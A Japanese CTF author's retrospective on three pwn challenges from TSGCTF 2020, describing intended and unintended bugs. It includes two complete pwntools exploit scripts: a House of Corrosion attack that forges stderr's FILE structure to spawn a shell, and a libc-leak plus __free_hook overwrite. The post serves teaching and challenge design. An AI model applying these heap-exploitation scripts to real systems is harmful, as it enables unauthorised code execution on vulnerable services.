イントロ Link to this heading

いつぞや開催されたTSGCTF 2020において、 pwn 問題を 2 問作問し、1 問共作しました。 結果としては反省点ばかりで、もやもやして今すぐやるべき期末試験勉強に集中できないので、 ここに雑に反省を置いておきます。

RACHELL: 7solves 322pts Link to this heading

問題概要 Link to this heading

sec.sh
1問題概要
2    Arch:     amd64-64-little
3    RELRO:    Full RELRO
4    Stack:    Canary found
5    NX:       NX enabled
6    PIE:      PIE enabled

バイナリサイズが大きいため C ソースを添付しています。 超簡易的なファイルシステムを模し、数個のコマンドを処理してファイル・ディレクトリを作成・削除・書き込みすることができます。 ただし cat コマンドは実装されておらず、ディレクトリ名を表示する際にも以下の関数で出力がチェックされ、検査に引っかかるとプログラムが停止(非終了)します:

.c
 1unsigned char ascii_check(const char *name, unsigned int size)
 2{
 3    char c;
 4    for(int ix=0;ix!=size;++ix){
 5        c = name[ix];
 6        if(c=='\n' || c=='-' || (0x30<=c && c<=0x39) || (0x40<=c && c<=0x5a) || (0x61<=c && c<=0x7a) || c=='_' || c=='.')
 7            continue;
 8        return 0;
 9    }
10    return 1;
11}

パス名の表示以外に、定数値以外を出力する箇所は一切ありません。

非想定解 Link to this heading

House of Corrosionを出題したいがためだけに作った問題です。 FILE structure の _IO_write_ptr の書き換えによって leak がされないように printf()等でストリームは全く使わないようにしていたり、 ascii_check()で出力を検査していたのは、とにかく leakless を目指していたためでした。 しかし、pwd() 関数に於いて唯一出力の ascii_check() を行うのをし忘れており、 ここから leak が可能であったようです。

一度 leak さえできてしまえば、Double Free も UAF もし放題な問題ゆえ、 簡単に解けてしまうという非想定解がありました。 そもそもに、pwd()ascii_check() を入れていたとしても、 上のチェックではゆるいところがあり結局何かしらを何かしらの方法で leak されていたのではないかと思います。

一度考えて没にしたのですが、やっぱりディレクトリ名の出力は全て CENSORED のように定数値で統一すべきでした。 こうするとファイルシステムを真似するプログラムという問題設定が微妙になってしまうのではと思いやめたのですが、 非想定を潰すためには多少問題設定を犠牲にしてでも制限を厳しくすべきだったと反省しています。

なお、最初はコマンドと引数を別々ではなく通常のシェルのように入力できるようにしていたのですが、 パーサによってソースコードが倍増してしまうのと、非想定を埋め込みそうだったので割と直前でやめました。

想定のバグ Link to this heading

; 折角なので、想定解にも軽く触れておきます。まず、バグとして以下のようなものがあります:

  • node(ディレクトリ・ファイル)を削除する際、それがカレントディレクトリ以外にある場合には、 nodefree()は行われますが、親ノードから該当子ノードが削除されません。 親に繋がってる子ノードの削除は問答無用で行われるため、Double Free / UAF が可能です。
  • ファイルへの書き込み(echo)を行う際に、readn()関数ではなく以下のように読み込んでいます。
  • これによって、任意サイズのmalloc()を行いつつも、実際に書き込むのは"\r"までという操作ができるため、exploit が簡単になります。
.c
 1if(target->buf == NULL){
 2      target->buf = malloc(size);
 3      // find newline
 4      for(int ix=0; ix!=size; ++ix){
 5      if(content[ix] == '\r'){
 6          size = ix;
 7          break;
 8      }
 9      }
10      memcpy(target->buf,content,size);
11      target->size = size;
12}else{
  • バグではありませんが、エラー発生時に呼ばれるpanic()関数は、プログラムを終了するわけではなく停止させます。これも、House of Corrosion を使ってほしいという匂わせです。
.c
1void panic(void)
2{
3    write(1,"exit...\n",7);
4    while(true)
5    sleep(100);
6}

想定解 Link to this heading

想定では完全なる leakless だったため、House of Corrosion で leak することなくシェルを開くというものでした。 しかし、おそらく leakless で解いた人はゼロ人だと思います。 なおこの方法で解く際には、 echoをする前に必要なノードを予めtouchして準備しておかないと exploit が難しくなるなど、結構準備が手間です。

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4
  5
  6
  7# TOTAL ENTROPY IS 4-bit+x(x<4)
  8# TRY SOME TIMES
  9
 10
 11
 12from pwn import *
 13import sys
 14import time
 15
 16FILENAME = "../dist/rachell"
 17LIBCNAME = "../dist/libc.so.6"
 18
 19hosts = ("ニッコニッコニー","localhost","localhost")
 20ports = (25252,12300,25252)
 21rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
 22rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
 23rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
 24context(os='linux',arch='amd64')
 25binf = ELF(FILENAME)
 26libc = ELF(LIBCNAME) if LIBCNAME!="" else None
 27
 28
 29## utilities #########################################
 30
 31def hoge(command):
 32  c.recvuntil("command> ")
 33  c.sendline(command)
 34
 35def ls(dir="."):
 36  hoge("ls")
 37  c.recvuntil("path> ")
 38  c.sendline(dir)
 39
 40
 41# current dir only
 42def touch(name):
 43  hoge("touch")
 44  c.recvuntil("filename> ")
 45  c.sendline(name)
 46
 47def echo(path,content):
 48  if "\n" in content:
 49    raw_input("[w] content@echo() contains '\\n'. It would be end of input. OK?")
 50
 51  hoge("echo")
 52  c.recvuntil("arg> ")
 53  c.sendline(content)
 54  c.recvuntil("redirect?> ")
 55  c.sendline("Y")
 56  c.recvuntil("path> ")
 57  c.sendline(path)
 58  if "invalid" in c.recvline():
 59    raw_input("error detected @ echo()")
 60    exit()
 61
 62def rm(path):
 63  hoge("rm")
 64  c.recvuntil("filename> ")
 65  c.sendline(path)
 66  if "no" in c.recvline():
 67    raw_input("error detected @ rm()")
 68    exit()
 69
 70# relative only
 71def cd(path):
 72  hoge("cd")
 73  c.recvuntil("path> ")
 74  c.sendline(path)
 75
 76# current dir only
 77def mkdir(name):
 78  hoge("mkdir")
 79  c.recvuntil("name")
 80  c.sendline(name)
 81
 82def te(filename,content):
 83  touch(filename)
 84  echo(filename,content)
 85
 86def formula(delta):
 87  return delta*2 + 0x20
 88
 89## exploit ###########################################
 90
 91def exploit():
 92  global c
 93  repeat_flag = False
 94
 95  # calc ##############################################
 96
 97  gmf = 0xc940
 98  bufend_s = formula(0xa70 - 0x8)
 99  stderralloc_s = formula(0xb08)
100  dumpedend_s = formula(0x1ce0)
101  pedantic_s = formula(0x1cf8 - 0x8)
102  stderrmode_s = formula(0xaf0 - 0x8)
103  stderrflags_s = formula(0xa30 - 0x8)
104  stderrwriteptr_s = formula(0xa58 - 0x8)
105  stderrbufbase_s = formula(0xa68 - 0x8)
106  stderrvtable_s = formula(0xa68 + 0xa0 - 0x8)
107  stdoutmode_s = formula(0xbd0 - 0x8)
108  morecore_s = formula(0x880)
109  stderrbufend_s = formula(0xa68)
110  stderr_s = formula(0x7f17c6744680-0x7f17c6743c40+0x10 - 0x28)
111  stderr60_s = formula(0x7f17c6744680-0x7f17c6743c40+0x10 - 0x28 + 0x60)
112  LSB_IO_str_jmps = 0x7360
113  LSBs_call_rax = 0x03d8            # call rax gadget. to be called @ _IO_str_overflow()
114  '''
115  pwndbg> find /2b 0x7f971f8a0000, 0x7f971f8affff, 0xff,0xd0
116  0x7f971f8a03d8 <systrim+200>
117  0x7f971f8a0657 <ptmalloc_init+631>
118  2 patterns found.
119  '''
120
121  try:
122      mkdir("test1")
123      mkdir("test2")
124      mkdir("test3")
125      mkdir("test4")
126      mkdir("test5")
127      mkdir("test6")
128      # info: test6 is used only for padding!
129      for i in range(5):
130        cd("./test"+str(i+2))
131        for j in range(0xe):
132          touch(str(j+1))
133        cd("../")
134      print("[+] pre-touched chunks")
135
136
137      cd("./test1")
138      touch("a")
139      touch("k")
140      touch("large")
141      touch("b")
142      touch("c")
143      touch("LARGE")
144      echo("a","A"*0x450)         # for unsortedbin attack
145      echo("k","k"*0x130)         # just for padding
146      echo("large","B"*0x450)
147      echo("b","A"*0x450)         # to overwrite LARGE's size !!!
148      cd("../")
149      rm("./test1/b")
150      rm("./test1/large")
151      cd("test1")
152      echo("c","\r"*0x460)
153      echo("LARGE","L"*0x460)     # to cause error!!!
154
155      touch("hoge")
156      touch("hoge2")
157      te("padding","K"*0x30)      # JUST PADDING
158
159      print("[+] prepared for later attack")
160
161      # prepare for ADV3  part1 in test2 ##########################
162
163      # get overlapped chunk.
164      LSB_A1 = 0xd0              # chunk A's LSB
165      adv3_size1 = bufend_s
166      cd("../test2")
167      echo("1","\r"*(0x50))
168      echo("2","2"*(0x20)) # A
169      #raw_input("check A's LSB")
170      echo("3","3"*(0x20)) # B
171      echo("4","4"*(0x50))
172      cd("../")
173      rm("./test2/1")
174      rm("./test2/4")
175      cd("test2")
176      echo("4",p8(LSB_A1))
177      echo("5","5"*(0x50)) # tmp2
178      echo("6","6"*(0x50)) # tmp1 overlapping on A
179      echo("6",p64(0)+p64(adv3_size1 + 0x10 +0x1) + p64(0)*4 + p64(0) + p64(adv3_size1 + 0x10 + 0x1))
180
181      # prepare fakesize
182      echo("7",(p64(0)+p64(0x31))*((adv3_size1+0x120)//0x10))
183      #raw_input("check overlap")
184
185      print("[+] create overlapped chunks for ADV3 part1")
186      cd("../")
187
188
189      # prepare for ADV3  part2 in test3 ##########################
190
191      # padding
192      cd("./test6/")
193      echo("1",p64(0x31)*0x10)
194
195      # get overlapped chunk.
196      LSB_A2 = 0xa0              # chunk A's LSB
197      adv3_size2 = stderralloc_s
198      cd("../test3")
199      echo("1","\r"*(0x50))
200      echo("2","2"*(0x20)) # A
201      #raw_input("check A's LSB")
202      echo("3","3"*(0x20)) # B
203      echo("4","4"*(0x50))
204      cd("../")
205      rm("./test3/1")
206      rm("./test3/4")
207      cd("test3")
208      echo("4",p8(LSB_A2))
209      echo("5","5"*(0x50)) # tmp2
210      echo("6","6"*(0x50)) # tmp1 overlapping on A
211      echo("6",p64(0)+p64(adv3_size2 + 0x10 +0x1) + p64(0)*4 + p64(0) + p64(adv3_size2 + 0x10 + 0x1))
212
213      # prepare fakesize
214      echo("7",(p64(0)+p64(0x31))*((adv3_size2+0x120)//0x10))
215      #raw_input("check overlap")
216
217      print("[+] create overlapped chunks for ADV3 part2")
218      cd("../")
219
220
221      # Allocate chunks for ADV2 #################################
222
223      cd("./test4")
224      print("[ ] dumpedend_s: "+hex(dumpedend_s))
225      echo("1","B"*dumpedend_s)
226      echo("2","B"*pedantic_s)
227      echo("3","B"*stderrmode_s)
228      echo("4","B"*stderrflags_s)
229      echo("5","B"*stderrwriteptr_s)
230      echo("6","B"*stderrbufbase_s)
231      echo("7","B"*stderrvtable_s)
232      echo("8","B"*stdoutmode_s)
233      print("[+] create some chunks for ADV2")
234      cd("../")
235
236
237      # Connect to largebin and set NON_MAINARENA to 1 ######
238
239      rm("./test1/LARGE")
240      cd("./test6")                       # connect to largebin
241      echo("2","\r"*0x600)
242
243      cd("../test1")
244      echo("b",p64(0)+p64(0x460|0b101))   # set NON_MAIN_ARENA
245      cd("../")
246      print("[+] connected to large and set NON_MAIN_ARENA")
247
248
249
250      # Unsortedbin Attack ###################################
251      rm("test1/a")
252      cd("./test1")
253      echo("a",p64(0)+p16(gmf-0x10))
254      echo("hoge","G"*0x450) # unsortedbin attack toward gmf
255      cd("../")
256      print("[!] Unsortedbin attack success??(4-bit entropy)")
257
258
259      # Make unsortedbin's bk valid ########################
260      rm("./test4/1")
261      cd("test4")
262      echo("1",p64(0x460))
263      cd("../test5")
264      echo("1","\r"*dumpedend_s)
265      rm("../test4/2")
266      cd("../")
267      print("[*] made unsortedbin's bk valid")
268
269
270      # Overwrite FILE of stderr ##########################
271
272      # stderr_mode / 1
273      rm("./test4/3")
274      cd("./test4")
275      echo("3",p64(0x1))
276      cd("../test5")
277      echo("2","\r"*stderrmode_s)
278      cd("../")
279      print("[1/5] overwrite FILE of stderr")
280
281      # stdout_mode / 1
282      rm("./test4/8")
283      cd("./test4")
284      echo("8",p64(0x1))
285      cd("../test5")
286      echo("3","\r"*stdoutmode_s)
287      cd("../")
288      print("[2/5] overwrite FILE of stderr")
289
290      # stderr_flags / 0
291      rm("./test4/4")           # NO NEED IN THIS CASE...
292      cd("./test4")
293      echo("4",p64(0x0))
294      cd("../test5")
295      echo("4","\r"*stderrflags_s)
296      cd("../")
297      print("[3/5] overwrite FILE of stderr")
298
299      # stderr_IO_write_ptr / 0x7fffffffffffffff
300      rm("./test4/5")
301      cd("./test4")
302      echo("5",p64(0x7fffffffffffffff))
303      cd("../test5")
304      echo("5","\r"*stderrwriteptr_s)
305      cd("../")
306      print("[4/5] overwrite FILE of stderr")
307
308      # stderr_IO_buf_base / offset of default_morecore_onegadget
309      off_default_morecore_one = 0x4becb
310      rm("./test4/6")
311      cd("./test4")
312      echo("6",p64(off_default_morecore_one))
313      cd("../test5")
314      echo("6","\r"*stderrbufbase_s)
315      cd("../")
316      print("[5/5] overwrite FILE of stderr")
317
318
319
320      # Transplant __morecore value to stderr->file._IO_buf_end ########
321      cd("../")
322      rm("./test2/2")                   # TODO: 2/3逆じゃね???
323      rm("./test2/3")                   # connect to tcache
324      cd("test2")
325      echo("2",p8(LSB_A1))
326      cd("../test6")
327      echo("3","\r"*stderrbufend_s)
328      cd("../test2")
329      echo("6",p64(0)+p64(0x10 + morecore_s|1))
330      cd("../")
331      rm("./test2/2")
332      cd("./test2/")
333      echo("6",p64(0)+p64(0x10 + stderrbufend_s|1))
334      cd("../test6")
335      echo("4","\r"*stderrbufend_s)
336
337      cd("../test2")
338      echo("6",p64(0)+p64(0x10 + morecore_s|1))
339      cd("../test6")
340      echo("5","\r"*morecore_s)
341      print("[+]overwrite stderr->file.IO_buf_end")
342
343      # Partial Transplantation: stderr->file.vtable into _IO_str_jumps
344
345      cd("../")
346      rm("./test4/7")
347      cd("./test4")
348      echo("7",p16(LSB_IO_str_jmps - 0x20))            # 0-bit uncertainity after success of unsortedbin attack (before, 4bit)
349      cd("../test6")
350      echo("6","\r"*stderrvtable_s)
351      print("[+] overwrite stderr's vtable into _IO_str_jumps - 0x20")
352
353      # Tamper in Flight: Transplant __morecore's value to _s._allocate_buffer ###########
354      cd("../")
355      rm("./test3/3")
356      rm("./test3/2")                   # connect to tcache
357      cd("test3")
358      echo("2",p8(LSB_A2))
359      cd("../test6")
360      echo("7","\r"*stderralloc_s)
361      cd("../test3")
362
363      echo("6",p64(0)+p64(0x10 + morecore_s|1))
364      cd("../")
365      rm("./test3/2")
366      cd("./test3/")
367      echo("6",p64(0)+p64(0x10 + stderralloc_s|1))
368      echo("2",p16(LSBs_call_rax))                      # HAVE 4-BIT UNCERTAINITY !!!
369      cd("../test6")
370      echo("8","\r"*stderralloc_s)
371      print("[ ] morecore_s: "+hex(morecore_s))
372
373
374      # invoke and get a shell!!!
375      c.recvuntil("command> ")
376      c.sendline("echo")
377      c.recvuntil("arg> ")
378      c.sendline("\r"*0x50)
379      c.recvuntil("?> ")
380      c.sendline("Y")
381      c.recvuntil("> ")
382      c.sendline("9")
383      print("[!] Got shell???")
384
385      return True
386  except EOFError:
387      print("[-] EOFError")
388      c.close()
389      return False
390
391
392## main ##############################################
393
394# check success rate by 'python2 ./exploit.py r bench'
395# solvable-check by python2 ./exploit.py r
396
397if __name__ == "__main__":
398    global c
399
400    if len(sys.argv)>1:
401      if sys.argv[1][0]=="d":
402        cmd = """
403          set follow-fork-mode parent
404        """
405        c = gdb.debug(FILENAME,cmd)
406
407      elif sys.argv[1][0]=="r" or sys.argv[1][0]=="v":
408        try_count = 0
409        total_try = 0
410        total_success = 0
411        start_time = time.time()
412        init_time = time.time()
413        while True:
414            lap_time = time.time()
415            try_count += 1
416            print("**** {} st try ****".format(hex(try_count)))
417            if sys.argv[1][0] == "r":
418                c = remote(rhp1["host"],rhp1["port"])
419            else:
420                c = remote(rhp3["host"],rhp3["port"])
421            if exploit()==False:
422              print("----- {} st try FAILED: {} sec\n".format(hex(try_count),time.time()-lap_time))
423              continue
424            else:
425                print("----- {} st try SUCCESS: {} sec (total)".format(hex(try_count),time.time()-start_time))
426                if len(sys.argv) > 2 :      # check success rate
427                    print("\n***** NOW SUCCESS NUM: {} ******\n".format(hex(total_success + 1)))
428                    total_try += try_count
429                    try_count = 0
430                    total_success += 1
431                    start_time = time.time()
432                    if total_success >= 0x10:
433                        print("\n\n\nTotal {} Success in {} Try. Total Time: {} sec\n\n\n".format(hex(total_success),hex(total_try),time.time()-init_time))
434                        exit()
435                    else:
436                        continue
437                else:
438                    c.interactive()
439                    exit()
440
441    else:
442        c = remote(rhp2['host'],rhp2['port'])
443
444    exploit()
445    c.interactive()

この場合には exploit は 4bit のエントロピーを持ち、およそ 14 回に 1 回成功します:

Violence Fixer: 13solves 241pts Link to this heading

問題概要 Link to this heading

sec.sh
1Arch:     amd64-64-little
2RELRO:    Full RELRO
3Stack:    Canary found
4NX:       NX enabled
5PIE:      PIE enabled

もともと beginner 問として出題する予定で作りましたが、燃えそうなので easy 問にしました。 偽のヒープマネージャが heap の情報を記憶し、それに基づいてsizeなりを勝手に上書きしてしまいます。 しかしこいつがかなりガバガバで、容易に実際の heap とのズレが生じます。 但し beg 問の名残として、オプションで偽のヒープマネージャが保持している情報を出力させることができます。

想定解 Link to this heading

色々とありそうではありますが、上で説明したズレを利用して、 雑に libcbase を leak して free_hook overwrite で終了です。

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6import time
  7
  8FILENAME = "../dist/violence-fixer"
  9LIBCNAME = "../dist/libc.so.6"
 10
 11hosts = ("test","localhost","localhost")
 12ports = (32112,12300,32112)
 13rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
 14rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
 15rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
 16context(os='linux',arch='amd64')
 17binf = ELF(FILENAME)
 18libc = ELF(LIBCNAME) if LIBCNAME!="" else None
 19
 20
 21## utilities #########################################
 22
 23def hoge(ix):
 24  c.recvuntil("> ")
 25  c.sendline(str(ix))
 26
 27def alloc(size,content):
 28  hoge(1)
 29  c.recvuntil("size: ")
 30  c.sendline(str(size))
 31  c.recvuntil("content: ")
 32  c.send(content)
 33
 34def show(index):
 35  hoge(2)
 36  c.recvuntil("index: ")
 37  c.sendline(str(index))
 38
 39def free(index):
 40  hoge(3)
 41  c.recvuntil("index: ")
 42  c.sendline(str(index))
 43
 44def get_value(index):
 45  hoge(4)
 46  for i in range(index):
 47    c.recvuntil("INUSE")
 48  c.recvuntil("INUSE\n ")
 49  return c.recv(8)
 50
 51def delegate(size,content):
 52  hoge(0)
 53  c.recvuntil("> ")
 54  c.sendline('y')
 55  c.recvuntil("size: ")
 56  c.sendline(str(size))
 57  c.recvuntil("content: ")
 58  c.send(content)
 59
 60## exploit ###########################################
 61
 62def exploit():
 63  global c
 64  c.recvuntil("?: ")
 65  c.sendline("y")
 66
 67  # prepare
 68  alloc(0x200,"1"*0x30)
 69  alloc(0x200,"2"*0x30)
 70  alloc(0x200,"3"*0x30)
 71  alloc(0x200,"4"*0x30)
 72  alloc(0xa0,"5"*0x30)
 73  alloc(0x200,"4"*0x30)
 74  alloc(0x1e0,"4"*0x30)
 75  alloc(0x1e0,"4"*0x30) # TARGET
 76  alloc(0x1e0,"5"*0x30)
 77  alloc(0x1e0,p64(0x21)*(0x1e0//8))
 78  alloc(0x1e0,"7"*0x10)
 79  alloc(0xc0,"8"*0x10)
 80  alloc(0x10,"9"*0x10)
 81
 82  # leak libcbase
 83  free(1)
 84  free(2)
 85  free(3)
 86  free(4)
 87  free(5)
 88  alloc(0x60,p8(0)*0x30 + p64(0) + p64(0x481))
 89  free(7)
 90  for i in range(4):
 91    alloc(0x10,p8(1))
 92  alloc(0x160,"A"*0x160)
 93
 94  show(7)
 95  c.recvuntil("A"*0x160)
 96  libcbase = unpack(c.recvline().rstrip().ljust(8,'\x00')) - 0x1ebbe0
 97  print("[+]libcbase: "+hex(libcbase))
 98
 99  # tcache duplicate
100  alloc(0x1f0,p8(0))
101  alloc(0x80,p8(0))
102
103  alloc(0x60,"1"*0x8)
104  alloc(0x50,"/bin/sh;\x00")
105  alloc(0x50,"3"*0x8)
106  alloc(0x20,"4"*0x8)
107  alloc(0x20,"5"*0x8)
108  alloc(0x20,"6"*0x8)
109  alloc(0x20,"7"*0x8) #
110  free(0xf)
111  free(0x13)
112  free(0x15)
113  alloc(0x130,p64(0)+p64(0x31)+"A"*0x80+p64(0)+p64(0x31)+p64(libcbase + libc.symbols["__free_hook"]))
114  alloc(0x20,p8(0))
115  delegate(0x20,p64(libcbase+libc.symbols["system"]))
116
117  free(0x10)
118  return
119
120## main ##############################################
121
122if __name__ == "__main__":
123    global c
124    start_time = time.time()
125
126    if len(sys.argv)>1:
127      if sys.argv[1][0]=="d":
128        cmd = """
129          set follow-fork-mode parent
130        """
131        c = gdb.debug(FILENAME,cmd)
132      elif sys.argv[1][0]=="r":
133        c = remote(rhp1["host"],rhp1["port"])
134      elif sys.argv[1][0]=="v":
135        c = remote(rhp3["host"],rhp3["port"])
136    else:
137        c = remote(rhp2['host'],rhp2['port'])
138
139    exploit()
140    print("\n\n[!] exploit success: {} sec\n\n".format(time.time()-start_time))
141    c.interactive()

Karte: 6solves 341pts Link to this heading

@moratorium08 さんと一緒に作った問題です。 PoC は mora さんの gist にあります:

libc2.31 で動いているので、いい感じにいい感じします。

全体 Link to this heading

セルフレビューが甘々でした。 また、互いのレビューをする際にも、もっと時間に余裕を持って多方面から行うべきでした。

beginner 問は、SECCON でかなり好評のものが出たので、今後 beginner 問を自称する際にはあのくらいのやつを出さないといけないのかもしれませんね。 (但し、個人的には本当にどこから手を付けていいかわからない人はハリネズミ本+坂井さんのリンカローダ本を読んで pico/xyz をやるべきだとは思います)

また、問題セットが若干偏っていた感じがあります。 pwn は begx1, heapx3, 言語問 x1, その他 x1 でした。 kernel 問を入れて、heap 問を 1 問退場させればもうちょいいい感じになったんじゃないかと思います。

時間的には、pwn に関して言うと 24h で十分だったんじゃないかと思います。 事実、トップチームは最初の 12h 以内に pwn を全完して暇そうだったので。 misc が多い感もあったと思いますが、今日は随分晴れています。

一番の反省点は、自分自身がそもそもに pwn 雑魚なのに作問なんかしようと思い上がったことですね。 pwn 雑魚が作った問題は、例外なくクソ問になります。 問題を作るのならば、まずは自分自身がいい加減 beginner レベルを卒業できるくらいには強くならなくちゃいけないと痛感しました。 時間を見つけて、pwn を勉強しつつ問題を作り溜めていこうと思います。

アウトロ Link to this heading

反省点ばかりでした。少しでも boring に感じた方はすいませんでした。 勉強しときます。